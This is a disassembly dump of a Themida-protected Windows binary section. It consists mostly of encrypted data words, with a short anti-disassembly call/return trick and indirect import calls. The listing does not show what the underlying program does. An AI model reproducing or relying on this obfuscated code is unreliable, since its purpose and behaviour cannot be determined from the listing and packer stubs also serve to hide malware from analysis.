		dd 0BDB50106h, 61061232h, 3BBB6660h, 8D896181h,	6122DCDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 91C35646h
		dd 7B8CF9FAh, 89D2BF0Fh, 122B31BDh, 0BD85C706h,	0FC061231h
		dd 0E9000060h, 5, 0B129F951h, 68D0F9Dh,	29000000h, 121A6185h
		dd 1185C706h, 61200h, 89000000h, 1210D985h, 0B1B5FF06h
		dd 89061219h, 1226B9BDh, 8195FF06h, 0E8061227h,	0Ah, 0BF2388A3h
		dd 31629F15h, 858948D7h, 612114Dh, 0FF006A5Eh, 1229D195h
		dd 0EBC08B06h, 95B0057Ah, 0F37003Bh, 79BF977Dh,	62FC872Eh
		dd 0DF1CC020h, 18DF5CD8h, 9ED49292h, 18B8D7E1h,	0BD797CD5h
		dd 9C1CCFCAh, 22B8B18Ah, 511591DDh, 4982DBF4h, 4273CC18h
		dd 0BC84678Ah, 0B6F6F5E6h, 519E440Ah, 3A850F4Fh, 21718CCFh
		dd 0E24CC36Dh, 0F9D2181Fh, 22B9A3F4h, 0DE82EED4h, 39EB187Eh
		dd 38B96969h, 8CCE9B28h, 0B6107EA6h, 0CB5538BCh, 9C3A604Bh
		dd 0F98B7A48h, 0E8CDF413h, 8, 35CD9C95h, 625C6D1h, 0F7AEB95Bh
		dd 0C3810171h, 65F5h, 9E8h, 95842E00h, 0FA63C6E7h, 0B52B73C3h
		dd 6121BA9h, 0C18DBA5Fh, 0F281465Bh, 465BD8DDh,	68F0Fh
		dd 85290000h, 6122E95h,	8B6633FFh, 8D8B58FEh, 6122799h
		dd 404EC081h, 5E9543Dh,	73000000h, 76233196h, 0D2B1E881h
		dd 0BE66479Bh, 0C0819ADFh, 115A9834h, 13158D8Bh, 3890612h
		dd 17318D8Bh, 0EB830612h, 9E904h, 4F660000h, 0C142B4Ah
		dd 4A9736FAh, 1D850Fh, 8D0F0000h, 2, 1AE9F08Bh,	70000000h
		dd 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 0E95DA888h, 0FFFFFF8Ch
		dd 6AA8FF98h, 7D8D8DE1h, 6A06186Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E659C355h
		dd 0B3EA7D08h, 89E3ABF9h, 122DCD8Dh, 0ABD8B806h, 85C72CDBh
		dd 61231BDh, 5CB4h, 85C72FB2h, 6120011h, 0
; ---------------------------------------------------------------------------
		sub	[ebp+61207E9h],	ebx
		mov	edi, ecx
		push	dword ptr [ebp+61219B1h]
		mov	di, 0A14Bh
		call	dword ptr [ebp+6122781h]
		push	0
		push	ecx
		call	sub_5E2A33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E2A33	proc near		; CODE XREF: Themida_:005E2A2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5E2A33	endp

; ---------------------------------------------------------------------------
		db 22h
		dd 61E1405Dh, 9D891266h, 6121561h, 95FF006Ah, 61229D1h
		dd 7AEBC08Bh, 0F7A934A9h, 7CB6D0A4h, 0EA802F50h, 0A473CE58h
		dd 7D9B0D4Ch, 3CDCA8Bh,	1F68BBA6h, 0B3BE820Eh, 0A3AB398Dh
		dd 74519526h, 68875A88h, 0BF0EF22Bh, 2D8A596h, 1336DECAh
		dd 34AC908Bh, 352AF542h, 0E9C51D48h, 3A754D3Fh,	0CB8596DFh
		dd 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah,	7EE82B4Eh
		dd 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh, 0E050A7CEh, 0FD744458h
		dd 0D18B1270h, 0CE8B0DCh, 90000000h, 9670A1C8h,	0C398F420h
		dd 80391F49h, 0E85E18CCh, 0Ch, 84CFA2ADh, 295026E4h, 297440AAh
		dd 5BDD8A53h, 0EEC6815Fh, 52000068h, 11E9h, 0E1663E00h
		dd 8176B48Fh, 67EEF362h, 7663E2A8h, 685FE376h, 1A04h, 19258531h
		dd 8B590612h, 6036FFDEh, 18F99D31h, 5A610612h, 14E9h, 0D57F9200h
		dd 0F81F8289h, 3FD59EBh, 8B0C7316h, 46E524FBh, 44F281C2h
		dd 95140F3h, 12090DB5h,	7EEA8106h, 8920D4FBh, 121F158Dh
		dd 26EA8106h, 891871D5h, 122EE59Dh, 8B168906h, 1226359Dh
		dd 24EE8106h, 813804E5h, 4E520C6h, 9D858B38h, 83061232h
		dd 850F01E9h, 13h, 20E9h, 0AA698800h, 9F508C00h, 0CCE34AF7h
		dd 8B97554Ch, 1219D59Dh, 0FF77E906h, 385EFFFFh,	0D4589097h
		dd 50E98Ch, 0E1B90000h,	8C936C0Bh, 0E89DE61Dh, 746E2E81h
		dd 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h, 0Ch dup(0)
		dd 2BE90000h, 68000007h, 61872CFh, 0FA0FB8E9h, 73B968FFh
		dd 0AEE90618h, 68FFFA0Fh, 618743Fh, 0FA0FA4E9h,	750468FFh
		dd 9AE90618h, 68FFFA0Fh, 61875FBh, 0FA0F90E9h, 76C768FFh
		dd 86E90618h, 0F9FFFA0Fh, 912A7798h, 2EC714FBh,	0CD66B35Ch
		dd 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah, 9E711FB8h
		dd 39D6B851h, 0BBC312ECh, 4DF7D0CCh, 14FCD2AFh,	0A01D345Bh
		dd 32925661h, 3656B722h, 593746D9h, 0A1000000h,	92F5FD14h
		dd 0F147DF5Fh, 3C719EF0h, 0F19DFE69h, 8316E91Eh, 34F31C72h
		dd 0C07636B3h, 0B548066Ch, 888707D0h, 0D38533Bh, 0D2447E0h
		dd 0E00C8205h, 63F60147h, 0EC133E52h, 0F4950AF0h, 74F5B41Fh
		dd 5369E18Dh, 82050D4Eh, 147E054h, 0FBF88BF6h, 0CB444B04h
		dd 230C396h, 0DB345B14h, 7B6A7348h, 868EA5BCh, 47DF6001h
		dd 84E47782h, 49F16F82h, 0ADC5FA05h, 4DF170DEh,	0A1E8F915h
		dd 24AEEF21h, 251F6h, 0C19B4800h, 23E2CFD8h, 0F175331Bh
		dd 0F6475249h, 9BB78607h, 0E339D13Fh, 0E7AEF050h, 5B7291FEh
		dd 1BA73453h, 6F18200Ah, 0C0A1BA6h, 0CB5E6901h,	4908EDF6h
		dd 2DB5C541h, 0BED0890Ch, 0B6491C51h, 0EBA4636Eh, 0F2D76AA5h
		dd 0B6755C65h, 6BA4E69Fh, 0B5E3A4ACh, 95A00C0Dh, 3073A202h
		dd 55600E21h, 5EB1DD96h, 0FB031A11h, 0A1B338Ch,	42BBE4EFh
		dd 42E0B45Ah, 5E3041D4h, 4932555Dh, 46510A1Bh, 2F225CDBh
		dd 0BB02F83h, 4DE44h, 21EEA300h, 0BE513BD4h, 5DB2D871h
		dd 0F7187710h, 937C11AAh, 8F5F5646h, 2BC411FEh,	0C962AF60h
		dd 62FB48C7h, 0BC96E32Ch, 0D222656Dh, 84614DF7h, 0F31C72AEh
		dd 392831BEh, 5A4CF97Ah, 77DB3DAAh, 396D75E4h, 3C49F20Fh
		dd 0E874E431h, 560FB4BDh, 55CA075h, 78E32C62h, 0A3EA534Fh
		dd 0C02BC889h, 0E455F901h, 72895003h, 0DFDA1D6Ah, 1AF59547h
		dd 6F7A12E5h, 0CA8994DCh, 36AA2A49h, 0DFAF592Eh, 0F61F2A47h
		dd 0AF420C72h, 0CA62CEAEh, 0B7C0BF7Dh, 0ED58B7D4h, 78E0262Eh
		dd 0FF80E28Eh, 0A5D07126h, 347C0F46h, 81B65933h, 810E43AEh
		dd 5A2D3578h, 29E66F4Ch, 3BF4B31Eh, 0B285BA55h,	6DA8B01Fh
		dd 33E882C7h, 0CE73141Ch, 0B110E079h, 79CEDEA9h, 27929DE0h
		dd 82414C94h, 0FD4AC5C9h, 66E52A64h, 7522A932h,	0F4B47B20h
		dd 0B9000003h, 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h
		dd 6C5CA966h, 27E8A549h, 0C54A41DAh, 5EB1DF78h,	0F9167811h
		dd 7B83D2ACh, 4DF7D30Ch, 72BC926Fh, 31BEF31Ch, 727A3928h
		dd 49F182B8h, 126FBCC7h, 465D1C09h, 0D80D028Dh,	27E8A405h
		dd 0F8633494h, 35405009h, 3ED1BD76h, 0D93658F1h, 8CFB031Ah
		dd 0EF47E9B9h, 0DF6C51E4h, 2830EFD6h, 49FBD2AAh, 0B65935EEh
		dd 0D31BAE81h, 0BFE349C8h, 4AEFEBA0h, 36E83h, 0B15E3300h
		dd 4EC1CB64h, 0ED226801h, 878807A0h, 23ECA13Ah,	1FCFE6D6h
		dd 0BB54A16Eh, 59F23FD0h, 0F28BD837h, 4C26739Ch, 0D392F5FDh
		dd 14F14DF7h, 0F31C723Eh, 72151D34h, 1147DF5Fh,	26E9A506h
		dd 0A68B1EF1h, 62211019h, 0F160B45Ah, 7BC8D349h, 1B3E4h
		dd 0C49B4E00h, 2CEBDAE3h, 0F1752A24h, 2E5C5D49h, 5709FEBh
		dd 4192FDD0h, 0AC6A6A61h, 12F17260h, 2AF2E4AAh,	515A2FC2h
		dd 0F19DA564h, 943D205Fh, 0BEC75489h, 4D291319h, 1C2F4245h
		dd 0D36413Dh, 0CF3A5B7Ah, 0DC0D0810h, 0EFFA3F2Eh, 0FA021930h
		dd 3B08DF8Dh, 5433E3EEh, 273B08DFh, 611A891Ch, 0FC95E22Dh
		dd 26FE7D92h, 2C1E9146h, 2A9C087h, 236E0000h, 86069FECh
		dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah
		dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h,	244DF7D4h
		dd 5B147147h, 3748DB34h, 40F9B857h, 4CC3CD4Ch, 0DC694EE1h
		dd 272FEED3h, 49F18D7Fh, 8F8A0506h, 3CA712FDh, 0C8E17FEFh
		dd 5A13D2BFh, 0D7AADF30h, 81CDD544h, 845003A3h,	80392879h
		dd 0C6CFF10h, 0B1218158h, 31F0D5DEh, 0C6FB1478h, 5B2C34F3h
		dd 28D6C132h, 131B8A1Dh, 0D8D3617Bh, 0AA652AE3h, 0C70FA275h
		dd 0DEE6FDBCh, 0D0D341A9h, 573CCFDAh, 15D4C1CAh, 0A8DFE7FEh
		dd 4AD0D341h, 2CD86F1Eh, 0EFF0885Ah, 66396EA1h,	0D0868FBh
		dd 0D3D2E5DAh, 0E8A7721Ah, 0B487BC27h, 0FCED921h, 0C44B3FF8h
		dd 0A16E2031h, 7ED3BB54h, 0FE1D92D9h, 8863F8D9h, 0EAD9CA93h
		dd 6C79567Fh, 0B59CFF7Dh, 8575CB4Ah, 0F89D635Eh, 1B231h
		dd 0F51A7700h, 927D0FA8h, 31DEAC45h, 0CB444BE4h, 67A8E57Eh
		dd 638B2A1Ah, 0FF98E52Ah, 9D36838Ch, 36CF1CF3h,	906AB758h
		dd 0D44E3941h, 502D4DF7h, 0F5FD147Ah, 47DF5F92h, 4253E6F1h
		dd 18EC34Ch, 424A09F8h,	49F181E8h, 893F8C97h, 1C0A5AEh
		dd 5F5C31EAh, 0DF603057h, 0DD485347h, 0E242D5A8h, 49F7CEAFh
		dd 52353D9Ch, 314DF7CFh, 43FCBB26h, 0DE77C44Bh,	0EC2369B0h
		dd 4479E4B7h, 8C7AEB7h,	103E9F00h, 0C2818C50h, 0CB8A8509h
		dd 9FA3C14Ah, 0DFA9F097h, 5F889347h, 0DD3EF576h, 0CECB5EB1h
		dd 0CFB8C0D7h, 0AC47DFFBh, 91FD0EA1h, 0B3BC497Eh, 0FC15727Ah
		dd 5B6647DFh, 492931F0h, 7449F21Bh, 455EEA69h, 0CF74EBAAh
		dd 0E608h, 29E6AB00h, 0C64943DCh, 65AAE079h, 0FF107F18h
		dd 9B7419B2h, 97575E4Eh, 33CC19F6h, 0D16AB758h,	6A0350BFh
		dd 0C49EEB24h, 0D61A6D75h, 8C694DF7h, 0B89314B6h, 0EBEA3E08h
		dd 596237CAh, 0C3F81776h, 0F1F3949Ch, 859047DFh, 0D9F0AF1Ah
		dd 225241C2h, 0EE18C6A4h, 0E01E493Eh, 12713A47h, 12BFE464h
		dd 97F78AF5h, 49F887CCh, 90B7ECF7h, 0CCF32A0Fh,	926DAD0h
		dd 0D182ABE6h, 3F50E30Ah, 0EA01C04Fh, 0F810A5E2h, 0CCBD64Dh
		dd 0F8108304h, 62F5004Dh, 4DC2CC65h, 0A2470018h, 0A1EF409h
		dd 8D820CD7h, 0D97815CEh, 608FE567h, 0B4E95437h, 0B8514EE1h
		dd 0F97A39D6h, 0B5E24414h, 876CFFBEh, 93ED1BEh,	816C7561h
		dd 2C43020Dh, 0EAC46324h, 821520B3h, 6DA2EC85h,	0F2FA1138h
		dd 0B3EAC495h, 3948DBE6h, 3, 723422A3h,	0F2BBF01Fh, 753E739Ch
		dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
		dd 8D568B84h, 0D4DB10FFh, 81E28952h, 4C2h, 4EA8300h, 8B241487h
		dd 3C682424h, 89000062h, 8951243Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 240C895Ch, 4EC81h, 1C890000h, 7179BB24h
		dd 0DF890618h, 4EC815Bh, 89000000h, 4812424h, 424h, 89565900h
		dd 87189FEh, 8124348Bh,	4C4h, 240C8B00h, 81E38953h, 4C3h
		dd 4C38300h, 5C241C87h,	52243C8Bh, 0C281E289h, 4, 4C281h
		dd 14870000h, 9EE95C24h, 0E1FFFA08h, 51C91A03h,	0D2B85540h
		dd 3061877h, 0FCE0FFC5h, 2F1C0A03h, 0BC75FE82h,	0E84C70DAh
		dd 14h,	4696EE60h, 506A61BDh, 6F4515ADh, 0F6286D44h, 0F73543A3h
		dd 0E4EF8166h, 0BE95964h, 6A000000h, 0A97A760Fh, 4195160Dh
		dd 0C181361Eh, 6AC0h, 1A7E68h, 0BF0F5600h, 665A5EC7h, 198BC38Bh
		dd 0C381C38Bh, 12B692C8h, 88B0Fh, 8A0F0000h, 2,	0EB81FE8Bh
		dd 2C03E372h, 0AEF381F8h, 6610F9E1h, 53C954BEh,	18F5F51h
		dd 3840Fh, 0C8800000h, 1CE9818Dh, 81116F80h, 858D75D6h
		dd 18C18123h, 8B116F80h, 850F4AFEh, 26h, 11E9h,	0D78EBC00h
		dd 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 21E9DAACh, 0A8000000h
		dd 2D285ABBh, 0F12C3CEBh
		dd 83E94EB3h, 0E3FFFFFFh, 53E41F5Eh, 56392Eh, 2C53E2F8h
		dd 34CFD25Eh, 26E9h, 5F4CFC00h,	0Ch, 7 dup(0)
		dd 0E9000000h, 4E4h, 187A9E68h,	777E906h, 0FD68FFFAh, 0E906187Ah
		dd 0FFFA076Dh, 187CA268h, 763E906h, 0BBD6FFFAh,	1E6E0754h
		dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h,	0F744CBC2h
		dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF7D8h
		dd 721798AFh, 268484E7h, 726F9D30h, 0F6BFF41Bh,	0CD2A7798h
		dd 161EDDC4h, 49F17D34h, 72894853h, 0F17D1D6Ah,	0C0535E4Dh
		dd 7CC8C3DBh, 9BF24DF1h, 16763F74h, 1A2EC4F9h, 0CEEA12C7h
		dd 0E3047C13h, 1FD124AEh, 0E2000003h, 74A96629h, 9BE00EA1h
		dd 0F7D4DDAEh, 691E2695h, 1A47DF5Fh, 9C6FA40Fh,	0E46A7231h
		dd 2349F175h, 2FE7C718h, 8948B4DBh, 0BBD29180h,	4E838C02h
		dd 1688E87Bh, 0F14568EBh, 0D18AB1E6h, 0EABF52BDh, 2D35F4E1h
		dd 4756F496h, 0F0979FB6h, 934356BEh, 0A2ADF588h, 224BCCE3h
		dd 6C88D43Dh, 16449E6Eh, 73FD41EDh, 50BFCFE0h, 0EDF50C03h
		dd 4357029Ah, 3A4BDEE9h, 48C7C554h, 0CF404A13h,	0F15CC79Ah
		dd 0CF6D9772h, 6F36DB16h, 322h,	552BDD4h, 0A2EF206Ch, 418E8109h
		dd 0DB28E7A8h, 77C44B42h, 0CDC02E87h, 2F5CF542h, 96FA93E0h
		dd 0FB932C79h, 9EEDC714h, 0F7D9F196h, 0DFB5924Dh, 1C0A5AEh
		dd 95CA4548h, 0B8C02FC2h, 49F7D73Ch, 0DC95545Fh, 78115EB1h
		dd 0ADC5FA15h, 4DF7D8DFh, 0B8A8509h, 145F4818h,	0C38E55FAh
		dd 75000002h, 0DA6F31Ch, 0AA43907Fh, 49E22FE0h,	0E37CC946h
		dd 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h,	0B55A34CDh
		dd 373F8E68h, 4DF7D950h, 14805633h, 0A7DC335Bh,	636C41D4h
		dd 3DB7BF7Eh, 3949F7D7h, 6D000F80h, 0DA5B1A25h,	2D309DC6h
		dd 0FF487B9h, 0F7BE94F7h, 9E435F4Dh, 0A4BDEFE7h, 1D03C24h
		dd 728E0000h, 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h
		dd 0D9E366E7h, 66804E13h, 4B808BD3h, 0F1865833h, 627F9B4Dh
		dd 0AEC5AB2Bh, 0F4FC1324h, 4DF18E93h, 5052E5F0h, 45h, 0C0A5AEA2h
		dd 0CA454801h, 0FB03C295h, 47DF5F8Ch, 0E251E4EFh, 0F17EECDAh
		dd 0DB101B49h, 0F180C8C3h, 729DF24Dh, 0F718743Dh, 825FE3C2h
		dd 0C819355Dh, 0AEDFC1C1h, 1071624h, 10270000h,	0F18C7F08h
		dd 5EF1FC4Dh, 45931430h, 0AC5CB1A5h, 0DAB4C558h, 7DCD60E1h
		dd 0D469E029h, 0DF6F6324h, 6B1F2047h, 319C6FA4h, 0B16A91C6h
		dd 0BE513CDDh, 0B84B1E53h, 5933E6A7h, 0B8C4BB6h, 96F752C7h
		dd 48714479h, 9286D870h, 0CE676438h, 6A4FE24Dh,	0ED22EDA1h
		dd 0E6A56A24h, 4E97A865h, 0D568914Ch, 9281F0D8h, 0A9E547DFh
		dd 9B7D0A12h, 0FDFE47DFh, 0AC17828Dh, 0CF9025Fh, 592E364Dh
		dd 2A47DF9Bh, 151D8C1Fh, 49F23E04h, 6019D8E3h, 0E7B0E52Ah
		dd 6CFF6AA5h, 16CFE6FDh, 9FE89877h, 0DC4DF3F5h,	602D3ED1h
		dd 0F634535Bh, 3C474DF3h, 355912D1h, 534A47DAh,	0BA1BF49Ah
		dd 370A3FD0h, 15FA93A4h, 0AC58D796h, 2FF69BEBh,	11Eh, 14EC1D0h
		dd 9EEB2468h, 3D8A8505h, 0D724EBA4h, 73C04F3Eh,	0D1BC3283h
		dd 3358F13Eh, 9AF68FDCh, 0FF8F2875h, 9AE9C310h,	0F7DBF592h
		dd 0D3A9864Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh
		dd 8C8DFEB7h, 6BA00B04h, 0B9563798h, 0C3CC2926h, 0E9171FDEh
		dd 0D449F1ADh, 3C510AC9h, 0ED9E86D3h, 0CD4DF1ADh, 0E8F4EC1h
		dd 0CF7CAF7Ah, 5552E52Eh, 483F475Eh, 0AA4DF234h, 0D4C12535h
		dd 3D48E0D7h, 0C95CB3DCh, 53AD5B8h, 913Eh, 0FD14A800h
		dd 8EC34C44h, 5F7C0BBBh, 0A0FF47DFh, 0DF5FEF98h, 16818C47h
		dd 0C0A5AE83h, 0D3464801h, 57EA55BAh, 0B2BAD1E8h, 47DF5FD5h
		dd 0A8089BA6h, 49F7D750h, 0C336873h, 0DDBE198Bh, 0D568E14Ch
		dd 0F845CAC4h, 0B9408001h, 71E543B6h, 4EC1CDDEh, 5439F219h
		dd 20B386BBh, 9D1524C0h, 34ADC153h, 2EEBA25Bh, 8342AD62h
		dd 3F190C7Bh, 0D1646F54h, 0F441CEC0h, 0AAE6335Bh, 0FCC5FA65h
		dd 9F477C93h, 0DBB32EB3h, 404EE734h, 3D39ACFh, 3D000000h
		dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah
		dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh,	83D4DB10h
		dd 0C8904ECh, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 3EF9h,	52240C89h
		dd 2EDBE56h, 0F2897E35h, 7B71B85Eh, 0D031782Dh,	0C8B545Ah
		dd 4C48124h, 55000000h,	6989C589h, 242C8B08h, 4C481h, 34FF0000h
		dd 0C4835924h, 2434FF04h, 4C48358h, 0FA02ACE9h,	0D3560AFFh
		dd 3B590111h, 108712B4h, 534381B9h, 187DE5B8h, 0FFC50306h
		dd 0B2F977E0h, 42EBD554h, 7A49D172h, 6E6A660Fh,	269C267h
		dd 34320D55h, 7D81C12Ah, 582BF73Ch, 8872CC7Eh, 86BDA071h
		dd 0A2455C10h, 0B0AC73Bh, 605E5302h, 26BF5DB1h,	0D056AEB1h
		dd 6AF11181h, 6898EAD4h, 4051B7FCh, 6EF58392h, 325E8089h
		dd 0B354E2B1h, 0DBF5057Ah, 3256AEBDh, 8DB61A71h, 0B673C7B9h
		dd 36615ACBh, 5256EAD0h, 32566559h, 7C3FFEB1h, 0BAB13A72h
		dd 1E009346h, 0AE4075C2h, 32DFA435h, 6D56D5B1h,	539755BEh
		dd 3252F1BEh, 0B936BAB1h, 14BE3C7Fh, 0CA56ACE9h, 32AF57B1h
		dd 0F7D6CBB1h, 53D060D0h, 0BF59EAB1h, 325675B9h, 325438BEh
		dd 53365DB1h, 34BFAEB1h, 185657B1h, 7691DC28h, 6F116634h
		dd 3D975CB1h, 32567539h, 0B359DBB1h, 32565DB4h,	83A62FD7h
		dd 3256360Fh, 6D414C48h, 8936D5B1h, 36F5948h, 32567C59h
		dd 32734AB1h, 8B536240h, 6D05F29Dh, 325636EBh, 3D56AB4Dh
		dd 3256D435h, 325616B1h, 0CB56754Dh, 0BD59BAB1h, 32565DBDh
		dd 325028BEh, 0B65957B1h, 3256ABB1h, 325D53BEh,	0B236EAB1h
		dd 0B659966Ah, 3256BAB1h, 52565DD0h, 32378400h,	3246BEB1h
		dd 359ABB1h, 8013B3EBh,	21B6FBC1h, 0A946EC3Ch, 325621A7h
		dd 32565A58h, 0E9D24AB1h, 3EB8E103h, 0B859ABB1h, 3256D5BCh
		dd 3256E258h, 0D7B6C6B1h, 15F773FBh, 3D565DADh,	3256A832h
		dd 533637B1h, 5237CAD1h, 3256DA59h, 635AEBB1h, 0DA0B91Ch
		dd 9E5B3501h, 4D0EAC12h, 3256A858h, 0AC16E3B1h,	6951CF84h
		dd 3256DB58h, 4ABE0B1h,	0FB0520C1h, 4AC55DE9h, 53BC55FCh
		dd 0B359AEB1h, 325657BDh, 325024BEh, 0B159D5B1h, 3256EAB1h
		dd 3FBF75B1h, 6356BAB1h, 0CD8BA5E0h, 0B17267B6h, 8BA5742Dh
		dd 8D36ABB1h, 183F66D4h, 32561FD0h, 0F3A4F4D1h,	53759B80h
		dd 32AE5DB1h, 325947B1h, 0B18A57B1h, 0F05D2FA5h, 0E1B85231h
		dd 6A6CFE18h, 5256754Fh, 0DA9031D7h, 32565DA1h,	5ACB3CD4h
		dd 0DE34C710h, 3B4B4FA0h, 0B676D3B9h, 43160B30h, 530F14F8h
		dd 0B359BAB1h, 32565DB0h, 0DB56AE49h, 325657B7h, 0F871C44Fh
		dd 325610F0h, 3256E84Dh, 325675B1h, 47D9922Dh, 9A241735h
		dd 0A820C176h, 32113A0Ch, 3D36CBB1h, 0C2DD030Eh, 6801B8D0h
		dd 0EAAF14E9h, 3056BFB6h, 20565BB1h, 3D56A4B1h,	315448B1h
		dd 8B6CFC00h, 0EA26F61Ah, 396E08D6h, 0C75675D0h, 23BFBAB1h
		dd 40565DB1h, 7DFBBC5Bh, 0DF812B3Ah, 0E86B38ABh, 7F4B95F8h
		dd 32AAEAB1h, 33D97AB1h, 0C756BAB1h, 32A35DB1h,	3ADEA1B1h
		dd 3D5657B1h, 3256A937h, 3D37B5B1h, 3256F23Bh, 32459CB1h
		dd 0BA02BAB1h, 0B1B0FF0Bh, 0C6D9517h, 0A5D02CCAh, 0B3800EFh
		dd 5256D5A7h, 3256F958h, 48F065B1h, 47469C8h, 462B47FEh
		dd 3638D245h, 852D7D2Ah, 3256CA48h, 0CB56D7E7h,	3000EAB1h
		dd 0AB5675B1h, 0F30903A7h, 0E2A855E0h, 0DFEB4F1h, 32F65CC3h
		dd 324742B1h, 3A12D5B1h, 2637CAh, 0E98535EEh, 0A287CDE2h
		dd 0A2071BC3h, 22BFFCE1h, 3A5657B1h, 86D16D10h,	1275876Ch
		dd 7E297468h, 3DCDDF24h, 325A5380h, 7FB25DB1h, 7B06BDB3h
		dd 372A38FFh, 6A0C20EBh, 520485E1h, 0DBCA6305h,	325675BBh
		dd 0C3CEC1BBh, 1F120A67h, 0B3305DD3h, 0DB40F971h, 3256ABA5h
		dd 59EC306Dh, 75D08B79h, 0D144E8C5h, 0D082351h,	693C08BDh
		dd 359CF2Ch, 600605E1h,	6A0C9ABEh, 6006E4BEh, 6A0CDBBEh
		dd 6A0C2DEBh, 6B2A21h, 4C6F5D32h, 0B8A3826Eh, 39BFCA4Ah
		dd 0E556ABB1h, 41B47875h, 0FD784381h, 0A23710EDh, 174A355Fh
		dd 53CBF64Bh, 76DFF6EBh, 88365395h, 48E163E3h, 32583C2Dh
		dd 4DC8EAB1h, 0A9FCE0FDh, 4520AB89h, 21541055h,	7CBE2FD7h
		dd 3242BE15h, 372AABB1h, 0B33E5EEBh, 8F428D97h,	8BD67603h
		dd 47FAE54Fh, 53CB26BBh, 3D0EF4E9h, 0B9303780h,	6A0CCA4Fh
		dd 16125CE9h, 0DB04BAB5h, 325675B8h, 0C26518DCh, 2ED9B3D8h
		dd 0DB67A194h, 325657B7h, 0EFE22C77h, 6A0CF6E3h, 675AB2E9h
		dd 6E50A409h, 3BBEDBC9h, 3F565DB1h, 3B467D73h, 0F76A78BFh
		dd 530ECAD1h, 36729138h, 3ABFB8E1h, 725675B1h, 5E4904C8h
		dd 3D6D9784h, 0F1DDCE80h, 68370EE2h, 1559F3E9h,	73294B1Bh
		dd 0B1C45111h, 0E46FDB03h, 5256BA66h, 53AE4D7h,	0B330CED0h
		dd 84C43050h, 3256CA5Ah, 5256D549h, 53063831h, 0BA5975B1h
		dd 3256BAA8h, 32564958h, 8A3079B1h, 3CAE1B30h, 6E7C69B4h
		dd 9F905C80h, 26D3030Ah, 3D567547h, 3256A83Fh, 3ED752B1h
		dd 0DB56AEB1h, 325657B6h, 0B088D51Dh, 323D67DFh, 3DD5E5B1h
		dd 0DB5675B1h, 3256BABBh, 99766E88h, 0FBBE2209h, 32567C26h
		dd 3256BB58h, 48AFE5B1h, 0D3A0CC13h, 599D408Eh,	6E6C9AEDh
		dd 3D565D10h, 3256A330h, 325EBEB1h, 251CABB1h, 0D39A33D4h
		dd 32564504h, 0C2DD13D1h, 0D6266D30h, 32376984h, 0B059CEB1h
		dd 325657B7h, 0ECB45A30h, 0E1D7924Ch, 116630E5h, 525675D0h
		dd 92F503D7h, 8B363C4Dh, 33CE9ECEh, 0FE58660Fh,	3256CACFh
		dd 3256D258h, 0A3DB11B1h, 8207AC14h, 34BFBAB1h,	23565DB1h
		dd 0EAF68666h, 52565786h, 3256A758h, 5D4E4B1h, 5E332F10h
		dd 0C6909B61h, 0C3E9B567h, 0CA565DD0h, 0C7A3AEB1h, 0B93657B1h
		dd 28D0A476h, 0DA56D5B1h, 3256EAA5h, 6FCCE31Bh,	0C136A0B9h
		dd 1FCAA8D5h, 522655C6h, 78249B58h, 0BD59CAE8h,	3256D5BCh
		dd 0A92A52D1h, 0B4593949h, 3256BAB1h, 52565DD0h, 5816E40Ah
		dd 0E8D731FDh, 5237FE1Ch, 53A462BEh, 5236EAB1h,	32567359h
		dd 5D5CB9B1h, 6AA6B102h, 54370602h, 3237813Ah, 28DDA4B1h
		dd 5256D5B1h, 25996BD7h, 32589CD6h, 0F1D5BAB1h,	0C60C72BBh
		dd 83DF6CFBh, 53AF8ECCh, 0CE56ABD0h, 3DBFD5B1h,	4456EAB1h
		dd 0D883E39Eh, 0ACC881EAh, 2182E03Ah, 3256D190h, 32564458h
		dd 13ADDDB1h, 0E249FFE6h, 0D2712FCAh, 0D4EF6A78h, 6E44E959h
		dd 0BC595DB1h, 3256AEA6h, 32564558h, 4FBE2BB1h,	2F3E0CBBh
		dd 9316F714h, 4E397849h, 3250306Ah, 33DA52B1h, 0CB56AEB1h
		dd 0DA3657B1h, 3256ABB4h, 0D2DA77Eh, 3EBFB21Eh,	0F65675B1h
		dd 71B132C6h, 286DCA68h, 53B6C4A0h, 0BB5957B1h,	3256ABB0h
		dd 5256D544h, 325463BEh, 533675B1h, 324137BEh, 20BF5DB1h
		dd 2856AEB1h, 0E3853E2h, 3CA6ECF0h, 8C32333Ch, 0E778FD8Ch
		dd 32561403h, 324553D1h, 0DC795DB1h, 0A433A95Ah, 0FA043872h
		dd 1D137EA2h, 0DC2F2A5Eh, 32568B7Ch, 0BD5925D1h, 3256BAB1h
		dd 32563CE9h, 0DB56AE44h, 325657B6h, 91399194h,	5274207Bh
		dd 32576DBEh, 89A375B1h, 719C83CEh, 3D565DD0h, 3256AF3Fh
		dd 3256AFB1h, 325A2DBEh, 0B959D5B1h, 3256EAB7h,	3256F8BEh
